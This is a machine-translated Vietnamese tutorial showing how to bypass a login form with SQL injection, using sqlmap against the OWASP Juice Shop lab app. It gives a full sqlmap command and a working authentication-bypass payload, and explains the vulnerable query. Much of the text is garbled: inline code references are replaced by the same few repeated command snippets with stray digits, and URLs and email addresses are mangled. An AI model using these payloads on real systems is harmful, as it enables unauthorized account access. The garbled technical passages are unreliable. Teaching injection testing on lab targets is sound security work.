Biểu mẫu đăng nhập bỏ qua Php

Ban đầu tôi đã đăng video này lên YouTube, nhưng cuối cùng họ đã cấm nó khỏi nền tảng của họ. Đây là video phổ biến nhất của tôi vào thời điểm đó, vì vậy tôi muốn chia sẻ nó ở đây. )

Không chần chừ gì nữa…video hack mà YouTube không muốn bạn xem

Vì vậy, bạn có một trang web có biểu mẫu đăng nhập và bạn muốn tìm hiểu cách bạn có thể sử dụng SQL injection để đăng nhập thành công mà không cần biết tên người dùng hoặc mật khẩu hợp lệ. Đó chính xác là những gì tôi sẽ chỉ cho bạn cách thực hiện trong bài đăng này

Tuyên bố miễn trừ trách nhiệm nhanh. không làm điều này với các ứng dụng trừ khi bạn có quyền. Điều này nhằm dạy cho bạn những kỹ thuật này để bạn có thể thực hiện chúng đối với (các) ứng dụng của riêng bạn mà bạn có quyền, điều này không chỉ hoàn toàn hợp pháp mà còn rất được khuyến khích. Nếu có lỗ hổng trong ứng dụng của bạn, bạn muốn tìm thấy chúng trước khi tác nhân độc hại thực hiện. Vì vậy, làm điều này với các ứng dụng mà bạn không sở hữu hoặc không có quyền là không nên, nhưng làm điều này với các ứng dụng của riêng bạn hoặc ứng dụng mà bạn có quyền thực hiện, chẳng hạn như đối với các chương trình tiền thưởng lỗi, pentest, v.v.. là một vấn đề lớn.

Sử dụng tự động hóa

Có một công cụ cực mạnh gọi là sqlmap mà tôi sẽ sử dụng. Công cụ này được xây dựng theo đúng nghĩa đen như một công cụ kiểm tra thâm nhập để tự động hóa quá trình tìm và khai thác các lỗ hổng SQL injection, sau đó thực sự chiếm lấy cơ sở dữ liệu và máy chủ. Vì vậy, nếu bạn chưa bao giờ sử dụng sqlmap trước đây, chắc chắn hãy tiếp tục sử dụng để tôi có thể chỉ cho bạn cách nó có thể giúp tự động hóa việc tìm kiếm các lệnh tiêm SQL

Tuy nhiên, xin lưu ý rằng bạn không cần phải sử dụng công cụ — bạn cũng có thể thực hiện thủ công

Nếu bạn muốn xem bản trình diễn như thế này được thực hiện thủ công thay vì sử dụng công cụ tự động như sqlmap, hãy cho tôi biết trong phần nhận xét bên dưới. Tôi thực sự đã chứng minh điều đó trong các cuộc Tấn công Tiêm chích của mình. Khóa học Hướng dẫn miễn phí, nhưng tôi rất sẵn lòng chia sẻ nó trên đây và YouTube nếu có đủ sự quan tâm

ứng dụng mục tiêu ví dụ của chúng tôi

Đối với trang web ví dụ mà chúng tôi sẽ tấn công, tôi sẽ sử dụng một ứng dụng có tên là OWASP Juice Shop. Nếu bạn chưa từng sử dụng nó trước đây hoặc nếu bạn muốn làm theo, hãy xem hướng dẫn nhanh của tôi để chỉ cho bạn chính xác cách thiết lập nó giống như tôi đã làm cho bài viết này

Juice Shop là một ứng dụng hiện đại sử dụng Angular. js và SQLite làm cơ sở dữ liệu của nó, vì vậy điều đó thực sự khiến mọi thứ thú vị hơn một chút so với việc chúng ta xử lý một ứng dụng cũ

Hãy bắt đầu bằng cách chỉ gửi một yêu cầu chung chung. Tôi có ZAP, công cụ proxy mà tôi lựa chọn, nhưng tất nhiên bạn cũng có thể sử dụng Burp cho việc này. Về mặt kỹ thuật, bạn thậm chí không cần một công cụ proxy, nhưng nó chắc chắn có thể giúp mọi việc dễ dàng hơn

Chúng ta đang ở trang đăng nhập (http. //máy chủ cục bộ. 3000/#/đăng nhập nếu bạn đang theo dõi) và chúng tôi sẽ tiếp tục và gửi thông tin đăng nhập giả để chúng tôi có thể xem ứng dụng này hoạt động như thế nào

  • tên tài khoản. kiểm tra @ kiểm tra. com
  • Mật khẩu. kiểm tra

Rõ ràng, chúng tôi không được xác thực vì đây không phải là thông tin đăng nhập hợp lệ, nhưng nếu chúng tôi mở ZAP và tìm yêu cầu đăng nhập của mình, chúng tôi sẽ xem điểm cuối nào chúng tôi muốn cung cấp cho sqlmap và cách chúng tôi muốn định dạng

Chúng ta có thể thấy rằng một yêu cầu POST đang được gửi đến điểm cuối này.

cd ~/Documents/sqlmap-dev
3

Và dữ liệu đang được định dạng như thế này.

cd ~/Documents/sqlmap-dev
4

Vì vậy, mặc dù điểm cuối của trang web là

cd ~/Documents/sqlmap-dev
5, nhưng khi chúng tôi gửi yêu cầu đăng nhập, mã phía máy khách sẽ gửi yêu cầu của chúng tôi đến điểm cuối này.
cd ~/Documents/sqlmap-dev
3. Vì vậy, nếu chúng tôi thử kiểm tra điểm cuối
cd ~/Documents/sqlmap-dev
7 bằng sqlmap, chúng tôi sẽ không tìm thấy bất kỳ lỗ hổng SQL injection nào. Đó không phải là yêu cầu đăng nhập xử lý điểm cuối

Tạo cuộc tấn công sqlmap của chúng tôi

Với thông tin này, chúng tôi có đủ để bắt đầu tạo lệnh sqlmap của mình

Nếu bạn đang sử dụng Kali hoặc Parrot OS, bạn đã cài đặt sẵn một phiên bản sqlmap. Nếu bạn không phải hoặc nếu bạn muốn sử dụng phiên bản mới nhất, bạn có thể gõ lệnh này

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Tôi sẽ điều hướng đến nơi tôi đã tải xuống phiên bản sqlmap mới nhất từ ​​GitHub

cd ~/Documents/sqlmap-dev

Và tôi sẽ sử dụng python3 để thực hiện yêu cầu của mình

python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
  • cd ~/Documents/sqlmap-dev
    8 là tùy chọn cho phép chúng tôi chỉ định điểm cuối mà chúng tôi muốn sqlmap nhắm mục tiêu
  • cd ~/Documents/sqlmap-dev
    9 là tùy chọn được sử dụng để chỉ định định dạng dữ liệu POST của chúng tôi được phân tách bằng dấu phân cách
    python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    0
  • python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    1 và
    python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    2 là các tùy chọn xác định loại tải trọng và kỹ thuật mà sqlmap sử dụng đối với mục tiêu. Cấp độ càng cao, bạn càng nhận được nhiều yêu cầu và kiểm tra chi tiết hơn. Điều đó có ưu và nhược điểm, và bạn có thể xem bảng gian lận của tôi để biết thêm thông tin về điều đó
  • python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    3 và
    python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    4 là các tùy chọn lấy dấu vân tay được sử dụng để liệt kê mục tiêu của chúng tôi và cố gắng thu thập dữ liệu hữu ích
  • python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    5 được sử dụng vì khi sqlmap gửi yêu cầu với tải trọng sqli đến mục tiêu, nó chắc chắn sẽ sử dụng thông tin xác thực không hợp lệ dẫn đến phản hồi HTTP 401 (401 không được phép) từ ứng dụng đích. vấn đề là sqlmap sẽ ngừng gửi yêu cầu ở dấu hiệu đầu tiên của phản hồi 401 trừ khi chúng tôi cung cấp cờ này. Chúng tôi đã biết các yêu cầu sẽ dẫn đến 401, vì vậy chúng tôi không quan tâm và chúng tôi muốn bỏ qua những yêu cầu đó
  • python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    6 nếu bạn đã biết chắc chắn rằng ứng dụng mục tiêu của bạn đang sử dụng một hệ thống quản lý cơ sở dữ liệu nhất định, chẳng hạn như cách chúng tôi biết ở đây rằng cửa hàng nước trái cây sử dụng sqlite, (bạn thường có thể tìm ra điều này với một chút nghiên cứu trước), chúng tôi có thể chỉ định . Nếu bạn không biết DBMS back-end là gì, thì bạn có thể bỏ qua phần này và sqlmap sẽ tìm ra nó
  • python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
    7 là yêu cầu sqlmap chỉ sử dụng tải trọng mù dựa trên boolean để thử nghiệm thay vì bao gồm tất cả các kỹ thuật khác của nó. Lý do duy nhất tôi làm điều này là để tăng tốc mọi thứ vì tôi đã biết rằng ứng dụng này dễ bị ảnh hưởng bởi kỹ thuật này. Mặt khác, bạn chỉ có thể để sqlmap sử dụng tất cả các kỹ thuật có sẵn của nó để tăng khả năng tìm thấy thứ gì đó

Tôi sẽ xem nhanh các tùy chọn này để tiết kiệm thời gian, nhưng khóa học của tôi đi sâu hơn và giải thích tất cả các tùy chọn của sqlmap từ trong ra ngoài nếu bạn quan tâm đến nhiều hơn

Chúng tôi gửi yêu cầu này và chúng tôi chờ xem điều gì sẽ xảy ra

Sau một thời gian, sqlmap sẽ tìm thấy tải trọng thành công và vì chúng tôi đã chuyển các tùy chọn dấu vân tay và biểu ngữ, sqlmap đã liệt kê thông tin DBMS phía sau và phát hiện ra rằng ứng dụng đích đang chạy

  • SQLite 3. 34. 0

Chúng tôi có thể sử dụng thông tin này để tìm kiếm các lỗ hổng, đặc biệt nếu đó không phải là phiên bản mới nhất, đây là thông tin khác mà chúng tôi có thể đưa vào báo cáo của mình ở cuối

Tôi sẽ không làm điều đó ở đây, nhưng một lần nữa, hãy cho tôi biết nếu đây là video hoặc bài viết mà bạn muốn xem

Tải trọng SQLi thành công

Một điều nữa tôi sẽ làm trước khi chúng ta kết thúc là xem xét tải trọng SQLi thành công mà sqlmap đã tìm thấy

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test

Tham số dễ bị tổn thương là tham số

python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
8, loại tiêm thành công là
python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
9 và tải trọng là đây

' OR NOT 1120=1120-- BGqV

Điều thú vị về điều này là về mặt kỹ thuật, tải trọng này không hoạt động, nhưng có một lý do tại sao sqlmap hiển thị nó cho bạn. Hãy để tôi chứng minh

Chúng tôi có thể kiểm tra tải trọng này theo cách thủ công qua cả trang web và qua ZAP

Trên trang đăng nhập, nếu chúng tôi cố gắng gửi tên người dùng này

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test
0

Chúng tôi không đăng nhập thành công. Vì vậy những gì đang xảy ra?

Có một lý do mà tôi dạy bạn cách xem lại cơ sở mã của sqlmap trong khóa học của tôi và đó là vì chúng ta có thể tìm thấy câu trả lời ở đó

Nếu chúng tôi truy cập

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test
1 trong cơ sở mã của sqlmap và tìm kiếm tiêu đề của tải trọng (
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test
2), chúng tôi sẽ thấy rằng tải trọng này được so sánh với phản hồi từ tải trọng thứ hai


OR NOT [RANDNUM]=[RANDNUM]


OR NOT [RANDNUM]=[RANDNUM1]

Điều này có nghĩa là tải trọng đầu tiên - một sqlmap đang hiển thị

' OR NOT 1120=1120-- tGvo

Đang thực sự được so sánh với kết quả từ tải trọng được sửa đổi một chút này

' OR NOT 1120=-1120-- tGvo

(Lưu ý số âm trong tải trọng thứ hai)

Bởi vì sqlmap nhận được các kết quả khác nhau từ ứng dụng/cơ sở dữ liệu khi so sánh hai kết quả này, nó biết rằng các tải trọng khác nhau đang kích hoạt một phản hồi khác từ cơ sở dữ liệu, điều đó có nghĩa là nó dễ bị tấn công bởi SQL. Chúng ta không thể thao tác các truy vấn SQL theo cách mà tải trọng nếu cơ sở dữ liệu này không dễ bị SQLi

Vì vậy, trọng tải thành công của chúng tôi thực sự là trọng tải so sánh, nhưng đó không phải là trọng tải mà sqlmap hiển thị cho chúng tôi

Nếu chúng tôi sử dụng tải trọng so sánh đó, chúng tôi sẽ đăng nhập thành công qua ứng dụng

Một lần nữa, chúng ta cũng có thể chạy cái này thông qua ZAP

[email protected]' OR NOT 1120=-1120-- tGvo

Chúng tôi nhận được thông tin đăng nhập thành công mặc dù đây không phải là thông tin đăng nhập hợp lệ — đó là vì chúng tôi đã tìm thấy tải trọng SQL injection thành công đánh lừa cơ sở dữ liệu nghĩ rằng chúng tôi là người dùng hợp lệ

Hiểu cách thức hoạt động của điều này ở cấp truy vấn SQL

Chúng tôi cũng có thể kiểm tra xem điều này hoạt động như thế nào ở cấp câu lệnh SQL nếu chúng tôi tạo một bản sao giả của cơ sở dữ liệu Juice Shop trong SQL Fiddle

CREATE TABLE Users(
id INT PRIMARY KEY,
email VARCHAR(100) NOT NULL,
password VARCHAR(200),
deletedAt VARCHAR(100)
);
INSERT INTO Users
VALUES (1, '[email protected]', '098f6bcd4621d373cade4e832627b4f6', '' );

Đây là những gì chúng ta có thể mong đợi bảng Người dùng sẽ trông như thế nào. Sau đó, chúng tôi thực hiện câu lệnh rằng ứng dụng đang chạy khi chúng tôi đăng nhập

cd ~/Documents/sqlmap-dev
0

Chúng ta có thể thấy rằng truy vấn này trả về tất cả các bản ghi từ cơ sở dữ liệu, trong khi số dương một không trả về bất kỳ kết quả nào

cd ~/Documents/sqlmap-dev
1

Nếu cơ sở dữ liệu và ứng dụng không dễ bị tấn công bởi SQLi, thì truy vấn sẽ trông như thế này khi nó được thực thi

cd ~/Documents/sqlmap-dev
2

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test
3 sẽ được coi là một chuỗi đơn giản vì
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: [email protected]' OR NOT 1120=1120-- BGqV&password=test
4 sẽ không đóng trích dẫn đơn đầu tiên

Phần kết luận

Vì vậy, chúng tôi đã tìm thấy một trường đầu vào dễ bị tổn thương, chúng tôi đã tìm thấy một điểm cuối dễ bị tổn thương, chúng tôi đã tạo dấu vân tay thành công cho DBMS phía sau và chúng tôi đã tạo thành công một lệnh sqlmap đối với OWASP Juice Shop

Như tôi đã nói, tôi đã lướt qua rất nhiều khái niệm và chủ đề trong bài viết này để cho bạn thấy nó được thực hiện như thế nào, nhưng tôi rất vui được đăng thêm video hoặc bài viết đi sâu vào chi tiết hơn nếu bạn thấy điều đó hữu ích. Bạn cũng có thể tìm hiểu nhiều hơn nữa bằng cách xem các khóa học miễn phí của tôi có tên là Tiêm tấn công. Hướng dẫn miễn phí, Hướng dẫn cho người mới bắt đầu về sqlmap hoặc khóa học cao cấp của tôi có tên là Hướng dẫn thực hành về sqlmap để tiêm SQL. Đây là khóa học sqlmap chuyên sâu nhất mà bạn có thể tìm thấy trên Internet